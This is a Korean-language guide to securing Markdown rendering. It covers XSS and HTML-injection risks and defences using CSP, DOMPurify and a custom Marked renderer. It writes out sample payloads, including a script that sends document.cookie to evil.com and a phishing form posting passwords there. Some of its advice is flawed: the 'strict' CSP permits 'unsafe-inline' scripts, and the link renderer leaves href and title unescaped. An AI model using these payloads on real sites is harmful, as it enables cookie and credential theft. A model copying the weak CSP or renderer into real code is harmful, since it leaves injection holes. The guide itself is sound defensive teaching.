Markdown 보안 모범 사례
Markdown은 평문처럼 보이지만 부적절한 처리는 심각한 보안 취약점으로 이어질 수 있습니다. 이 가이드는 Markdown 콘텐츠를 안전하게 처리하는 방법을 설명합니다.
일반적인 보안 위협
1. XSS (크로스 사이트 스크립팅 공격)
Markdown은 HTML 삽입을 허용하므로 악의적인 스크립트를 주입하는 데 악용될 수 있습니다:
markdown
<!-- 위험: 정화되지 않은 HTML -->
<script>
// 쿠키 도용
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">클릭하세요</a>2. HTML 주입
JavaScript가 없어도 악의적인 HTML은 해를 끼칠 수 있습니다:
markdown
<!-- 피싱 공격 -->
<form action="https://evil.com/phish" method="POST">
<input type="password" name="password" placeholder="비밀번호 입력">
<button>로그인</button>
</form>방어 전략
1. 콘텐츠 보안 정책 (CSP)
엄격한 CSP 헤더를 구현하세요:
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">2. HTML 정화
전용 정화 라이브러리를 사용하세요:
DOMPurify (브라우저)
javascript
import DOMPurify from 'dompurify';
import marked from 'marked';
// 파싱 및 정화
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
FORBID_ATTR: ['onerror', 'onclick', 'onload']
});
document.getElementById('output').innerHTML = clean;3. 안전한 Markdown 파서 설정
Marked 안전 설정
javascript
const marked = require('marked');
const renderer = {
html(html) {
// HTML을 완전히 차단
return '';
},
link(href, title, text) {
// 안전한 프로토콜만 허용
const safeProtocols = ['http:', 'https:', 'mailto:'];
try {
const url = new URL(href);
if (!safeProtocols.includes(url.protocol)) {
return text;
}
} catch {
return text;
}
return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
}
};
marked.use({ renderer });보안 체크리스트
배포 전 확인
- [ ] 콘텐츠 보안 정책 (CSP) 활성화
- [ ] HTML 정화 (DOMPurify/sanitize-html) 구현
- [ ] 원시 HTML 비활성화 또는 제한
- [ ] 모든 URL 및 링크 검증
- [ ] 속도 제한 구현
- [ ] CSRF 보호 추가
- [ ] 파일 업로드 검증
- [ ] 인증 및 권한 부여 구현
- [ ] 콘텐츠 길이 제한 설정
- [ ] HTTPS 활성화
- [ ] 안전한 HTTP 헤더 설정
- [ ] 로깅 및 모니터링 구현
- [ ] 정기적인 보안 감사
- [ ] 종속성을 최신 상태로 유지
결론
Markdown 보안은 간과할 수 없습니다. 적절한 정화, 검증, 인증 및 모니터링 조치를 구현함으로써 사용자 생성 Markdown 콘텐츠를 안전하게 처리하고 애플리케이션과 사용자를 공격으로부터 보호할 수 있습니다.